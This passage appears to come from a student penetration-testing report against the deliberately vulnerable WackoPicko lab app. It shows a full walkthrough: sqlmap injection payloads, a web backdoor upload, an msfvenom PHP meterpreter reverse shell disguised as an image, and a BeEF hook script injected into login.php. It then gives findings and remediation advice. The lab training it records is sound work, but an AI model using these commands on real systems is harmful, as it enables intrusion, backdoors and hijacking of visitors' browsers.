http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal

51
laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program.

[*] starting at 10:21:05

[10:21:05] [INFO] resuming back-end DBMS 'mysql'

[10:21:05] [INFO] testing connection to the target url
sqlmap got a 303 redirect to
'http://192.168.77.138:80/WackoPicko/users/home.php'. Do you want to follow?
[Y/n] Y

[10:21:07] [INFO] heuristics detected web page charset 'None'

[10:21:07] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---

Place: POST

Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=hacker' AND 2163=2163 AND
'YJxM'='YJxM&password=password&submit=login

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=hacker' AND (SELECT 3246 FROM(SELECT
COUNT(*),CONCAT(0x3a6377663a,(SELECT (CASE WHEN (3246=3246) THEN 1
ELSE 0 END)),0x3a6268653a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'oBNd'='oBNd&password=password&submit=login
---
[10:21:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5

52
[10:21:07] [INFO] going to use a web backdoor for command prompt
[10:21:07] [INFO] fingerprinting the back-end DBMS operating system
[10:21:07] [INFO] the back-end DBMS operating system is Linux
[10:21:07] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] PHP (default)
[4] JSP
>3

[10:21:09] [WARNING] unable to retrieve the web server document root please provide
the web server document root [/var/www/]:

[10:21:10] [WARNING] unable to retrieve any web server path please provide any
additional web server full path to try to upload the agent [Enter for None]:

[10:21:10] [WARNING] unable to upload the file stager on '/var/www'

[10:21:10] [INFO] the file stager has been successfully uploaded on
'/var/www/WackoPicko/users' -
http://192.168.77.138:80/WackoPicko/users/tmputgqe.php
[10:21:10] [INFO] the backdoor has been successfully uploaded on
'/var/www/WackoPicko/users' -
http://192.168.77.138:80/WackoPicko/users/tmpblzgg.php
[10:21:10] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>

Now we're in the target machine, we will create backdoor for make it easier to
connect back and easier to compromise this machine.

53
3. We will create backdoor with Metasploit(msfvenom command).

root@bt:~# msfvenom
no options
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>

Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom
payloads
-l, --list [module_type] List a module type example: payloads, encoders,
nops, all
-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Output format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
--platform [platform] The platform of the payload
-s, --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'
-i, --iterations [count] The number of times to encode the payload
-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as
a new thread
-o, --options List the payload's standard options
-h, --help Show this message
--help-formats List available formats

root@bt:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.77.137

LPORT=443 -f raw > /var/www/bd.php
root@bt:~# mv /var/www/bd.php /var/www/bd.jpg

54
4. In the shell of target machine, download the backdoor and change it to bd.php.

os-shell> wget http://192.168.77.137/bd.jpg

do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
--2012-08-26 23:47:21-- http://192.168.77.137/bd.php
Connecting to 192.168.77.137:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [text/html]
Saving to: `bd.php'
0K 100% 2.04M=0s
2012-08-26 23:47:21 (2.04 MB/s) - `bd.php' saved [10/10]
---
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: '/owaspbwa/owaspbwa-
svn/var/www/WackoPicko/users'
os-shell> mv bd.jpg bd.php
do you want to retrieve the command standard output? [Y/n/a] y
No output

55
5. Create the handler for waiting connection back from bd.php.
root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp
LHOST=192.168.77.137 LPORT=443 E
[*] Please wait while we load the module tree...
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|`.""'.
II 6. .P : .' / | `. :
II 'T;. .;P' '.' / | `.'
II 'T; ;P' `. / | .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 932 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
=[ svn r15753 updated 11 days ago (2012.08.16)

Warning: This copy of the Metasploit Framework was last updated 11 days ago. We
recommend that you update the framework at least every other day. For information on
updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC-
1306

56
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.77.137
LPORT => 443
[*] Started reverse handler on 192.168.77.137:443
[*] Starting the payload handler...

6. Run the backdoor with your web browser. And now you will get the meterpreter in you
metsaploit console

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]

+ -- --=[ 932 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
=[ svn r15753 updated 11 days ago (2012.08.16)

Warning: This copy of the Metasploit Framework was last updated 11 days ago. We
recommend that you update the framework at least every other day. For information on
updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC-
1306

57
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.77.137
LPORT => 443
[*] Started reverse handler on 192.168.77.137:443
[*] Starting the payload handler...
[*] Sending stage (39217 bytes) to 192.168.77.138
[*] Meterpreter session 1 opened (192.168.77.137:443 -> 192.168.77.138:42757) at
2012-08-27 11:05:31 +0700
meterpreter >

Now you are in the owning machine and can do everything you want with Metasploit. In
the next, we will use BeEF to compromise the victim who visit website of this machine.

58
3.4. METASPLOIT WITH BEEF PLUGIN

And the last of this article, we will use Metasploit with BeEF(Browser Exploit Framework).
So what is BeEF. “BeEF hooks one or more web browsers as beachheads for the launching
of directed command modules. Each browser is likely to be within a different security
context, and each context may provide a set of unique attack vectors.”

1. Run the beef service

root@bt:/pentest/web/beef# ./beef -x -v
2. Go to Metasploit plugin path and download BeEF plugin of Metasploit from
“https://github.com/xntrik/beefmetasploitplugin.git”
$ cd /pentest/exploits/framework/msf3
$ git clone https://github.com/xntrik/beefmetasploitplugin.git
Initialized empty Git repository in /opt/metasploit/msf3/beefmetasploitplugin/.git

3. Move file beef.rb to msf/plugins and lib/beef to msf/lib

$ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/

$ root@bt:/pentest/exploits/framework/msf3# mv
beefmetasploitplugin/plugins/beef.rb plugins/

4. Install hpricot,json gem

$ root@bt:/pentest/exploits/framework/msf3# gem install hpricot json
5. In the Metasploit console, load BeEF plugin.
msf > load beef

59
 6. Connect to BeEF
msf > beef_connect
msf > beef_connect http://127.0.0.1:3000 beef beef

7. In this step, we want to run the BeEF script on any client who visit the login
page. Back to the shell meterpreter that you got in the last phase of sqlmap attack.
Download login.php page. Add the script
<script src='http://192.168.77.137:3000/hook.js></script>
into the file and upload it to host.

meterpreter > download login.php .

[*] downloading: login.php -> ./login.php
[*] downloaded : login.php -> ./login.php

root@bt:~# echo "<script src='http://192.168.77.137:3000/hook.js></script>" >>

login.php

meterpreter > upload login.php .

[*] uploading : login.php -> .
[*] uploaded : login.php -> ./login.php
meterpreter >

Now when victim visit the login page, he will run the script of BeEF.

8. Go to BeEF web management interface(http://127.0.0.1:3000/ui/panel), login with

username “beef” and password “beef”

60
9. If someone visit login.php page, he will attacked by BeEF and in the left panel of BeEF
will show the list of victim.

61
If you want to see the detail of victim, just click it. The detail of victim will appear in the
right panel.

So you can check the list of victim from Metasploit console too, with beef_online
command.

msf > beef_online

62
And if you want to check the detail of victim in Metasploit console, use beef_target

command
msf > beef_target

msf > beef_target -i 0

10. Now you can run the command of BeEF with beef_target command
msf > beef_target -c 0 47

After run the beef_target command, in the BeEF's console, BeEF will use “Man-In-
The_Browser” command to victim.

63
 Chapter Four
Reporting of Web Application

4.1. SUMMARY OF FINDINGS

A summary of the findings for the OWASP SASAP Open 192.168.77.138 Assessment

Key

Cross-Site Scripting

Authentication and Session Management

Malicious File Execution

Broken Access Control

SQL Injection

64
4.2. OWASP TOP TEN 2013

The OWASP Top Ten (2013) provided students with a solid overview of the security critical areas
that would be assessed during the review. In an attempt to narrow the scope of the security
assessment, the participants of the project divided into seven groups, each group selecting their
own security critical area. For the remainder of the assessment, each group was considered a
subject manner expert in their security critical area. After reviewing the OWASP Top Ten, the
groups selected the following security critical areas for review:

1. BROKEN AUTHENTICATION

2. SQL INJECTION

3. CROSS-SITE SCRIPTING

Risk Threat Potential Likelihood of Affected Recommendation

Description Level Corporate Loss Exploitation IP’s/URI
Broken Server A significant Because 192.168.7 Proper
Authentication amount of there was 7.138 authentication
The user can privileged no mechanism
login and get information authenticatio should be
the access with was found. n it is trivial implemented
any username to break in to along with a good
and password. the system password policy.
and get
sensitive
information
SQL Injection Server An attacker SQL injection 192.168.7 It is advisable to
SQL injection can gain access is an old 7.138 filter all the input
exists in the to personal technique data before
username and employee and it does running the SQL
password information. not require query and allow
fields. This may The version of much only valid
also allow an SQL server, technical characters. For
attacker to run database, and skills to e.g.:- disallow
arbitrary SQL server name exploit the single quotes (‘),
Query on the was database and comments(--) etc.
server. also revealed. run malicious
It was possible queries. Use least privilege
to enumerate principle and
the entire allow only the
database table necessary
and also quite privileges.
likely to run
malicious

65
 commands like
“drop table”,
etc
Cross site Moder An attacker This attack is 192.168.7 All data on all the
scripting It ate may use this dependent 7.138 pages should have
allows an flaw to trick on the victim input as well as
attacker to run your web users to execute a output filtering. If
arbitrary script to give crafted link. possible, meta-
in the victim’s him/her their characters
browser. credentials like <>,.?^&/\~`’”-
(cookie) which ()
can be used from a user’s
for session input should be
hijacking. completely
removed. Input:
‘<’ character
Modified during
output: ‘&lt’

Industry Standard References:

Some well-known, industry-standard references include:

 National Vulnerability Database (NVD)

 Common Vulnerability Scoring System(CVSS)
 Common Vulnerabilities and Exposure (CVE)
 Common Weakness Enumeration (CWE)
 Open Source Vulnerability Database (OSVDB)

Determining the Severity of the Risk:

In this step the likelihood estimate and the impact estimate are put together to calculate
an overall severity for this risk. This is done by figuring out whether the likelihood is low,
medium, or high and critical then does the same for impact.

66
4.3. ADVANTAGES OF PENETRATION TESTING SERVICES
Protect Your Company Image & Maintain Customer Loyalty. As a business owner, one of
your most valuable assets is your good name. All it takes is one incident of compromised
customer data and information can be extremely costly – in more ways than one.
Performing a penetration test allows you to avoid data incidents that could compromise
your company’s reputation.

Avoid Fines While Meeting Regulatory Requirements. Performing penetration testing

allows your firm to satisfy the auditing/compliance regulations including the following:
 GLBA
 PCI
 HIPAA
Penetration tests can also provide detailed reporting that can help your company avoid
fines levied for not being in compliance.
Avoid Costly Network Downtime. A security breach can be devastating due to lost
productivity and revenue, in addition to the IT efforts required to properly recover. The
end result could cost your company millions. Penetration testing allows you to thwart
this monetary loss by properly identifying and accessing risks before security breaches
take place.

Justify Your Security Spend. Penetration testing can evaluate future investments while
analyzing the effectiveness of your existing security products.

67
4.4. LIMITATIONS OF PENETRATION TESTING

Penetration testing are useful practices that can help make an organization’s security
tighten. But penetration testing do have limitations which can be a project-based
limitation or the penetration testers skills themselves.

Limitations of Penetration Testing

Penetration testing cannot find all vulnerabilities in a target environment.
There are limitations based on the resources and restrictions of a test:
– Limitations of scope
– Limitations of time
– Limitations on access of penetration testers
– Limitations on methods of penetration testers

WAS THIS PROJECT BENEFICIAL TO YOUR STUDY OF APPLICATION SOFTWARE SECURITY?

 Yes.
 The OWASP project was very beneficial to my study of Application Software
Security. In specific, this project provided the ability to modify requests on the fly
in order to escalate privileges and leverage numerous attacks.
 Yes, this project was the perfect supplement to the material we learned in class. I
would go so far as to say that this class would have not been as fruitful if we had
not experienced this during our time here.
 This project assisted greatly in my study of application software security. It was a
great opportunity to investigate the source code of Open WebMail and utilize
WebScarab to modify HTTP requests on the fly.
 This project was very beneficial because it provided hands-on experience. It was
much easier to understand the topical information.
 Not only was this beneficial, but it was the most useful thing that we have done.

68
CONCLUSION

Security is continuum, not an absolute. The value of penetration testing lies in its results
the ones that answer the big question "WHY?" A successful penetration test indicates
more than a particular flaw, it identifies the process failures that produced the
vulnerability, at the first place. Fixing or patching the vulnerability detected does not
mean an end to your security worries or nightmares, it is just the beginning of a never-
ending cycle.

A penetration test does not guarantee absolute security – it's just a measurement of your
security posture. So, "never have a false sense of security."

69
REFERENCE

https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.cvedetails.com/vulnerabilities-by-types.php
http://www.nevisnetworks.com/solutions/vulnerability-assessment-and-penetration-testing/
https://www.owasp.org/index.php/Top_10_2013-Top_10
https://pentest-tools.com/website-vulnerability-scanning/web-server-scanner-nikto
http://securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html

https://dnsdumpster.com
https://www.acunetix.com/websitesecurity/cross-site-scripting/
https://www.offensive-security.com/metasploit-unleashed/wmap-web-scanner/

https://www.ibm.com/developerworks/library/se-owasptop10/

70